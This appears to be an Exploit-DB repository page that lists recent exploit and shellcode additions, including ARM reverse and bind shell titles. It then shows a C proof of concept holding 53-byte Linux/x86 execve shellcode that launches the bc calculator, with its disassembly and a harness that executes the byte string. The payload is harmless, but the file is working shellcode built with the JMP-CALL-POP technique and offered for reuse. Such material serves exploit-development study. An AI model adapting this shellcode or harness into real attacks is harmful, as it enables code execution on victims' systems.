ed58accc5a
5 changes to exploits/shellcodes MiniUPnPd 2.1 - Out-of-Bounds Read MySQL User-Defined (Linux) x32 / x86_64 - sys_exec Function Local Privilege Escalation MySQL User-Defined (Linux) (x32/x86_64) - 'sys_exec' Local Privilege Escalation HTML5 Video Player 1.2.5 - Local Buffer Overflow - Non SEH CloudMe Sync 1.11.2 Buffer Overflow - WoW64 - (DEP Bypass) CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass) PDF Signer 3.0 - SSTI to RCE via CSRF Cookie Linux/x86 - execve() - Terminal Calculator (bc) Shellcode (53 bytes) Linux/ARM - Reverse TCP (/bin/sh) - 192.168.1.124:4321 Shellcode (64 bytes) Linux/ARM - Bind TCP (/bin/sh)-0.0.0.0:4321 Null Free Shellcode (84 bytes) Linux/ARM - Reverse TCP (192.168.1.124:4321) Shell (/bin/sh) Shellcode (64 bytes) Linux/ARM - Bind TCP (0.0.0.0:4321) Shell (/bin/sh) + Null-Free Shellcode (84 bytes) Linux/x86 - execve(/bin/sh) + RShift-1 Encoded Shellcode (29 bytes)
63 lines
No EOL
2.3 KiB
C
63 lines
No EOL
2.3 KiB
C
/*
|
|
; Date: 27/01/2019
|
|
; Execve_Calc.asm
|
|
; Author: Daniele Votta
|
|
; Description: This program invoke excve to run terminal calculator (bc).
|
|
; Tested on: i686 GNU/Linux
|
|
; Shellcode Length:53
|
|
; JMP | CALL | POP | Techniques
|
|
*/
|
|
|
|
#include<stdio.h>
|
|
#include<string.h>
|
|
|
|
/*
|
|
; Execve_Calc: file format elf32-i386
|
|
;
|
|
; Disassembly of section .text:
|
|
; 08048080 <_start>:
|
|
; 8048080: eb 1a jmp 804809c <call_shellcode>
|
|
;
|
|
; 08048082 <shellcode>:
|
|
; 8048082: 5e pop esi
|
|
; 8048083: 31 db xor ebx,ebx
|
|
; 8048085: 88 5e 0b mov BYTE PTR [esi+0xb],bl
|
|
; 8048088: 89 76 0c mov DWORD PTR [esi+0xc],esi
|
|
; 804808b: 89 5e 10 mov DWORD PTR [esi+0x10],ebx
|
|
; 804808e: 8d 1e lea ebx,[esi]
|
|
; 8048090: 8d 4e 0c lea ecx,[esi+0xc]
|
|
; 8048093: 8d 56 10 lea edx,[esi+0x10]
|
|
; 8048096: 31 c0 xor eax,eax
|
|
; 8048098: b0 0b mov al,0xb
|
|
; 804809a: cd 80 int 0x80
|
|
;
|
|
; 0804809c <call_shellcode>:
|
|
; 804809c: e8 e1 ff ff ff call 8048082 <shellcode>
|
|
;
|
|
; 080480a1 <message>:
|
|
; 80480a1: 2f das
|
|
; 80480a2: 75 73 jne 8048117 <_end+0x5f>
|
|
; 80480a4: 72 2f jb 80480d5 <_end+0x1d>
|
|
; 80480a6: 62 69 6e bound ebp,QWORD PTR [ecx+0x6e]
|
|
; 80480a9: 2f das
|
|
; 80480aa: 62 63 41 bound esp,QWORD PTR [ebx+0x41]
|
|
; 80480ad: 42 inc edx
|
|
; 80480ae: 42 inc edx
|
|
; 80480af: 42 inc edx
|
|
; 80480b0: 42 inc edx
|
|
; 80480b1: 43 inc ebx
|
|
; 80480b2: 43 inc ebx
|
|
; 80480b3: 43 inc ebx
|
|
; 80480b4: 43 inc ebx
|
|
======================= POC Daniele Votta =======================
|
|
*/
|
|
|
|
unsigned char shellcode[] = \
|
|
"\xeb\x1a\x5e\x31\xdb\x88\x5e\x0b\x89\x76\x0c\x89\x5e\x10\x8d\x1e\x8d\x4e\x0c\x8d\x56\x10\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x62\x63\x41\x42\x42\x42\x42\x43\x43\x43\x43";
|
|
|
|
int main()
|
|
{
|
|
printf("Shellcode Length: %d\n", strlen(shellcode));
|
|
int (*ret)() = (int(*)())shellcode;
|
|
ret();
|
|
} |